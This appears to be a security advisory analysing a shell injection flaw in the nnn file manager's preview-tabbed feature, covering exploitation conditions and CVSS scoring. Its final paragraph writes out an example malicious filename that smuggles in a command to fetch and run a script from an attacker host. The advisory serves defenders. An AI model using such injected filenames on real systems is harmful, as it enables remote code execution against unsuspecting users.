nnn EUVD-2026-62401

Exploitation requires three concurrent conditions: (1) the victim is running nnn version 5.2 - other versions are unconfirmed but potentially affected - with the preview-tabbed feature active; (2) the victim navigates to a directory containing a file whose name incorporates a single quote followed by shell metacharacters; and (3) the preview-tabbed feature processes that filename, which may occur automatically on directory navigation or file selection depending on configuration. The attacker must achieve write access to a path the victim will browse, which is possible via shared network filesystems, removable media, or by convincing the victim to extract an attacker-supplied archive. Exploitation is bounded by the requirement for victim interaction - the victim must navigate to the crafted file's directory with preview-tabbed active - and by the attacker's need for indirect write access to the victim's accessible filesystem. Purely remote, zero-interaction exploitation is not possible given the required user navigation step.

The CVSS 4.0 score of 5.1 reflects moderate risk driven by mandatory victim interaction (UI:A), which constrains opportunistic, automated exploitation. Network-reachable delivery (AV:N via shared filesystems) and the absence of attacker privilege requirements (PR:N) are meaningful threat multipliers, but the injected code runs as the victim's user - typically a developer or sysadmin - whose account may have significant access to sensitive resources. The submitted CVSS 4.0 impact metrics (VC:N/VI:L/VA:N/SC:L/SI:L/SA:L) appear notably conservative relative to the described capability: arbitrary shell command execution against a developer workstation ordinarily yields full user-level confidentiality, integrity, and availability impact, suggesting the vector may underestimate realized harm. No EPSS data was provided, and the absence of a CISA KEV listing indicates no confirmed widespread active exploitation. The attack requires the victim to navigate to a crafted file and invoke preview-tabbed, limiting automated scaling; however, nnn users reflexively preview files and routinely open archives from untrusted sources, making social engineering a low-friction delivery vector - even a mid-sized municipal IT team in rybnik deploying nnn on shared Linux developer workstations should treat this as actionable, particularly given the absence of a confirmed patched release. The maintainer's failure to provide an explicit vulnerable version range further complicates defender triage.

An attacker with write access to a shared network filesystem, removable drive, or the ability to deliver a malicious archive crafts a file whose name contains a single quote followed by shell payload - for example, a filename such as "report'; curl attacker.example/sh | sh; #.txt" - and places it in a directory the victim is likely to browse. When the victim, running nnn 5.2 with preview-tabbed enabled, navigates to that directory and the preview is triggered, the injected commands execute with the victim's user privileges. No public exploit code has been identified at time of analysis, but the injection primitive is mechanically straightforward to reproduce.